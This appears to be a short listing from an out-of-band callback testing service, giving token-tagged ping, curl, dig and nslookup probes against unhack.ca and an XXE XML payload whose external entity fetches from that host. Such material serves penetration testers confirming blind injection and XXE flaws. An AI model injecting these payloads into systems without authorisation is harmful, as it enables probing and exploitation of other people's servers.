$ ping -c1 -p 00a9d3db9cb671abf7dbaf90b468ba00 unhack.ca
 

$ curl http://unhack.ca/p/a9d3db9cb671abf7dbaf90b468ba
 

$ dig a9d3db9cb671abf7dbaf90b468ba @unhack.ca
 

$ dig a9d3db9cb671abf7dbaf90b468ba.ns.unhack.ca
 

C:\> nslookup a9d3db9cb671abf7dbaf90b468ba unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a9d3db9cb671abf7dbaf90b468ba">]>
    <foo>&xxe;</foo>